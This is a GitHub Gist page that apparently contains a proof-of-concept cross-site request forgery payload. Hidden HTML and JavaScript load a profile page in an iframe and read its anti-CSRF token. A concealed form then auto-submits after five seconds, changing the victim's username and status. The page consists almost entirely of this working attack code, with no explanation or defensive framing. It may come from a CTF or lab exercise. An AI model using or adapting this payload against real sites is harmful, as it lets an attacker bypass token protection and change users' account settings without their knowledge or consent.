Skip to content

Instantly share code, notes, and snippets.

@suryadana
Created June 8, 2019 17:24
Show Gist options
  • Save suryadana/ca879a60097d0eeafc723cd76fbbaba3 to your computer and use it in GitHub Desktop.
Save suryadana/ca879a60097d0eeafc723cd76fbbaba3 to your computer and use it in GitHub Desktop.
<iframe id="iframe" src="?action=profile" onload="read()"></iframe>
<script>
function read()
{
document.getElementById('token').value = document.getElementById("iframe").contentDocument.forms[0].token.value;
}
</script>
<form id="csrf" action="?action=profile" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="test" />
<input type="hidden" name="status" value="on" />
<input id="token" name="token" value="" />
<input type="submit" value="Submit request" />
<script>setTimeout(function () {document.getElementById("csrf").submit()}, 5000);</script>
</form>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment